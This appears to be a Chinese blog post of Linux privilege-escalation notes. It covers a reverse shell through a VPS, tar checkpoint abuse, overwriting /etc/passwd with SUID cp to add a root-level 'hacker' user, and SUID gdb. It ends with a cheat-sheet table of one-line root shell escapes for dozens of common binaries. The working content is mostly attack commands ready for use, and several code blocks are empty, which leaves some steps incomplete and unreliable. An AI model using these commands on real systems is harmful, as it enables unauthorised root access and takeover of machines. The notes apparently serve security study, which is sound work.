提权
用VPS反弹shell
攻击机监听端口
1 | |
目标机
1 | |
提权
已知一个用户的密码
- 用
cat /etc/passwd命令来查看用户 - 用
su 用户名命令来切换用户,尝试出已知的密码是哪一个用户的 - 用
sudo -l命令来查看当前用户的权限
tar包提权
如果管理员给予了某个普通用户tar命令的超级管理员操作
1 | |
-c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)-f:使用档名,f之后直接加档名,中间不能加其他参数--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由 –checkpoint-action 指定exec:执行外部命令
执行这个命令后就提权成功了,用id命令查看当前用户发现已经是root,此时可以自由查看 /root 文件中的内容
suid cp提权
用命令查找是否存在suid提权的可能
1 | |
看到/bin/cp就知道可以用 cp 提权了
操作步骤:先构造一个和/etc/passwd里一样的文件 然后在文件的末尾加上一个用户 这个用户的相关信息都可以随你编写 再利用cp的高权限对/etc/passwd文件进行覆盖
方法一
在/tmp新建一个passwd文件,在tmp的原因是因为tmp目录是临时缓存目录 一般访问和修改权限较低但可执行权限较高
1 | |
然后回到命令行使用 cp 命令把 /etc/passwd 用 /tmp/passwd 替换掉
1 | |
然后cat /etc/passwd查看 /etc/passwd 可以看到有了hacker用户
使用su hacker命令切换成hacker用户
此时我们拥有root权限,就可以查看root文件里的内容了
方法二
1 | |
依次执行完这三个命令
用id命令可以看到euid已经是root了,用whoami可以看到是root
此时就可以查看root文件里的内容
suid gdb提权
1 | |
常用提权命令
| 命令 | 利用方法 |
|---|---|
| zsh | zsh |
| xargs | xargs -a /dev/null sh -p |
| watch | watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ |
| timeout | timeout 7d /bin/sh -p |
| time | time /bin/sh -p |
| tclsh | + tclsh + exec /bin/sh -p <@stdin >@stdout 2>@stderr |
| taskset | taskset 1 /bin/sh -p |
| stdbuf | stdbuf -i0 /bin/sh -p |
| strace | strace -o /dev/null /bin/sh -p |
| ssh | ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x |
| setarch | setarch $(arch) /bin/sh -p |
| rsync | rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null |
| rpm | rpm –eval ‘%{lua:os.execute(“/bin/sh -p”)}’ |
| python | python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
| php | + CMD=”/bin/sh” + php -r “pcntl_exec(’/bin/sh’, [’-p’]);” |
| nice | nice /bin/sh -p |
| nano | + nano //运行nano程序 + ^R //按下ctrl-r + ^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令 |
| more | + more /etc/profile + !/bin/sh -p |
| logsave | logsave /dev/null /bin/sh -i -p |
| less | less /etc/profile //读取文件,在底行输入!/bin/sh -p |
| ksh | ksh -p |
| ip | + ip netns add foo + ip netns exec foo /bin/sh -p + ip netns delete foo |
| ionice | ionice /bin/sh -p |
| git | git help status |
| gimp | gimp -idf –batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
| gdb | gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit |
| ftp | ftp //在底行输入“!/bin/sh -p” |
| flock | flock -u / /bin/sh -p |
| find | find . -exec /bin/sh -p ; -quit |
| expect | expect -c ‘spawn /bin/sh -p;interact’ |
| env | env /bin/sh -p |
| ed | ed //在底行输入“!/bin/sh -p” |
| docker | docker run -v /:/mnt –rm -it alpine chroot /mnt sh |
| dmesg | dmesg -H//在底行输入“!/bin/sh -p” |
| csh | csh -b |
| bash | bash -p |
| awk | awk ‘BEGIN {system(“/bin/bash -p”)}’ |
| perl | perl exec “/bin/bash”; |
提权
https://yschen20.github.io/2025/04/25/提权/